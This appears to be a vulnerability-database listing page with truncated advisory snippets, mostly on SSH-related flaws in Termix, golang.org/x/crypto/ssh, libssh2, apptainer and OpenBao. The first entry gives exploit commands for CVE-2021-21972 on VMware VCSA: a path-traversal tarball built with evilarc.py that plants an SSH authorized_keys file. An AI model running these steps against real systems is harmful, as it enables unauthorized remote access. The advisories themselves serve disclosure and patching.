CVE-2021-21972

CVE-2021-21972 CVE-2021-21972 Tested against VMware VCSA 6.7 create ssh keypair ssh-keygen -t rsa -f vcsa.key -N '' create tarbal with ../../../../../home/vsphere-ui/.ssh/authorizedkeys python2 evilarc.py -d 5 -p 'home/vsphere-ui/.ssh' -o unix -f evil.tar authorizedkeys mv evil.tar evil.ova uploa...

CVE-2018-15473_exploit

CVE-2018-15473 - OPENSSH 7.7 USER ENUMERATION dependency: https://github.com/pyperanger/crypt-curve25519 Fix Patch https://metacpan.org/pod/Net::SSH::Perl References https://seclists.org/oss-sec/2018/q3/125 http://www.openwall.com/lists/oss-security/2018/08/15/5 https://isc.sans.edu/diary/24004...

golang.org/x/crypto/ssh: golang.org/x/crypto/ssh: Denial of Service via crafted messages

A flaw was found in golang.org/x/crypto/ssh. After a channel has been established, a remote malicious peer could send specially crafted messages. This could lead to a deadlock of the entire connection, resulting in a Denial of Service DoS for the affected system...

PT-2026-97918

Name of the Vulnerable Software and Affected Versions Termix versions 1.7.0 through 2.5.0 Description Termix is a web-based server management platform providing SSH terminal, tunneling, and file editing. The POST '/credentials/:id/deploy-to-host' endpoint fails to verify if the records associated...

PT-2026-97917

Name of the Vulnerable Software and Affected Versions Termix versions 1.8.0 through 2.5.0 Description Authenticated users can access the server-stats API without per-host authorization, failing to preserve tenant isolation. The affected routes in src/backend/ssh/server-stats.ts allow users to vie...

PT-2026-97919

Name of the Vulnerable Software and Affected Versions Termix versions 1.7.0 through 2.5.0 Description Termix is a web-based server management platform providing SSH terminal, tunneling, and file editing. An authenticated user can execute arbitrary commands with the privileges of the selected remo...

CVE-2026-79758: Improper Access Control

Termix is a web-based server management platform with SSH terminal, tunneling, and file editing capabilities. From 1.8.0 until 2.5.1, authenticated Termix users can access the server-stats API without per-host authorization. GET /status returns statuses for hosts the requester cannot access, GET...

CVE-2026-79761: Improper Neutralization of Special Elements used in an OS Command

Termix is a web-based server management platform with SSH terminal, tunneling, and file editing capabilities. From 1.7.0 until 2.5.1, the Termix SSH key deployment flow derives a grep pattern from a user-controlled public-key token and interpolates it into double-quoted shell commands executed on...

Ubuntu 20.04 LTS / 26.04 LTS : libgit2 vulnerability (USN-8809-1)

The remote Ubuntu 20.04 LTS / 26.04 LTS host has packages installed that are affected by a vulnerability as referenced in the USN-8809-1 advisory. Kazuma Matsumoto and Isabel Mill discovered that libgit2 incorrectly handled certain repository URLs when using the SSH transport. A remote attacker...

CVE-2026-79759: Authorization Bypass Through User-Controlled Key

Termix is a web-based server management platform with SSH terminal, tunneling, and file editing capabilities. From 1.7.0 until 2.5.1, the POST /credentials/:id/deploy-to-host endpoint resolves credential and target-host records from attacker-controlled credentialId and targetHostId integer values...

PT-2026-97920

Name of the Vulnerable Software and Affected Versions Termix versions 1.7.0 through 2.5.0 Description Termix derives keys used to wrap Data Encryption Keys DEK for OIDC and WebAuthn users from committed default strings and the public userId salt within the src/backend/utils/user-crypto.ts file...

SUSE SLES15 Security Update : apptainer (SUSE-SU-2026:4308-1)

The remote SUSE Linux SLES15 / SLESSAP15 host has packages installed that are affected by multiple vulnerabilities as referenced in the SUSE-SU-2026:4308-1 advisory. - CVE-2026-56854: golang.org/x/crypto/ssh: source-address restriction bypassed in 5 callback families bsc1278666. - CVE-2026-56855:...

Security update for apptainer (critical)

openSUSE security update: security update for apptainer ------------------------------------------------------------- Announcement ID: openSUSE-SU-2026:21927-1 Rating: critical References: bsc1278666 bsc1279033 bsc1279236 bsc1279333 Cross-References: CVE-2026-56854 CVE-2026-56855 CVE-2026-78662...

Security update for amazon-ssm-agent (important)

openSUSE security update: security update for amazon-ssm-agent ------------------------------------------------------------- Announcement ID: openSUSE-SU-2026:21884-1 Rating: important References: bsc1276981 bsc1276994 bsc1278681 Cross-References: CVE-2026-56854 CVE-2026-56855 CVE-2026-71556...

Regular Expression Denial of Service (ReDoS)

Overview Affected versions of this package are vulnerable to Regular Expression Denial of Service ReDoS in the Less viewer search and display-filter matching in builtins/src/main/java/org/jline/builtins/Less.java. An attacker can hang the session thread by supplying a malicious search or filter...

K000163389: libssh vulnerability CVE-2019-3855

Security Advisory Description An integer overflow flaw which could lead to an out of bounds write was discovered in libssh2 before 1.8.1 in the way packets are read from the server. A remote attacker who compromises a SSH server may be able to execute code on the client system when a user connect...

Security Bulletin: Multiple vulnerabilities addressed in IBM SevOne Network Performance Management for August 2026

Summary IBM SevOne Network Performance Management has addressed these security vulnerabilities in the NMS component including Streaming Telemetry with a Service Pack update. The publication of this security bulletin represents a change in our communication process, not an increase in security...

Security update for apptainer

This update for apptainer fixes the following issues: CVE-2026-56854: golang.org/x/crypto/ssh: source-address restriction bypassed in 5 callback families bsc1278666. CVE-2026-56855: golang.org/x/crypto/ssh: prevent DoS on deadlocked established channel bsc1278666. CVE-2026-78662:...

SUSE-SU-2026:4308-1 Security update for apptainer

This update for apptainer fixes the following issues: - CVE-2026-56854: golang.org/x/crypto/ssh: source-address restriction bypassed in 5 callback families bsc1278666. - CVE-2026-56855: golang.org/x/crypto/ssh: prevent DoS on deadlocked established channel bsc1278666. - CVE-2026-78662:...

CVE-2026-71543

A flaw was found in OpenBao, an open-source identity-based secrets management system. Templated Access Control List ACL, Public Key Infrastructure PKI, and Secure Shell SSH policies could substitute attacker-controlled identity data without properly rejecting syntax-significant characters. This...